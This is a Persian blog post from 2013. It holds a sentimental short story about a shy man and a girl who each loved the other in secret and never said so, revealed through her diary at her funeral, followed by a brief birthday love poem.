فرشته ها روی صحنه رفته بود تا مدرکش رو بگیره. میخواستم که عشقش متعلق به من باشه. اما اون به من توجهی نمی کرد ، و من اینو میدونستم ،

قبل از اینکه خونه بره به سمت من اومد ، با همون لباس و کلاه فارغ التحصیلی ، با وقار خاص و آروم گفت تو بهترین داداشی دنیا هستی ، متشکرم.

میخوام بهش بگم ، میخوام که بدونه ، من نمی خوام فقط “داداشی” باشم . من عاشقشم. اما… من خیلی خجالتی هستم ….. علتش رو نمیدونم .

نشستم روی صندلی ، صندلی ساقدوش ، اون دختره حالا داره ازدواج میکنه ، من دیدم که “بله”رو گفت و وارد زندگی جدیدی شد. با مرد دیگه ای ازدواج

کرد. من میخواستم که عشقش متعلق به من باشه. اما اون اینطوری فکر نمی کرد و من اینو میدونستم ، اما قبل از اینکه بره رو به من کرد و گفت: تو

اومدی ؟ متشکرم

سالهای خیلی زیادی گذشت . به تابوتی نگاه میکنم که دختری که من رو داداشی خودش میدونست توی اون خوابیده ، فقط دوستان دوران تحصیلش دور

تابوت هستند ، یه نفر داره دفتر خاطراتش رو میخونه،دختری که در دوران تحصیل اون رو نوشته. این چیزی هست که اون نوشته بود:

” تمام توجهم به اون بود. آرزو میکردم که عشقش برای من باشه. اما اون توجهی به این موضوع نداشت و من اینو میدونستم. من

میخواستم بهش بگم ، میخواستم که بدونه که نمی خوام فقط برای من یه داداشی باشه. من عاشقش هستم. اما …. من خجالتی ام …

نمی‌دونم … همیشه آرزو داشتم که به من بگه دوستم داره. ….

ای کاش این کارو می کردم ای کاش بهش می گفتم که چقدر دوستش دارم.

با خودم فکر می کردم و گریه می کردم .


روز آمدنت مبارک …  

ای گل ناز من ، محرم رازهای من ، روز آمدنت مبارک
روزی که دنیا با طلوع تو میلرزد از اینهمه زیبایی که در وجودت شکفته است
روشن تر از خورشید ، در لابه لای ابرها روشنتر از روشنی ها

نوریست که به زمین رسید ، بر تنم تابید و شکفتم در کویر

+ نوشته شده توسط mojtaba mohammadi در سه شنبه بیست و سوم مهر 1392 و ساعت 14:55 | نظر بدهید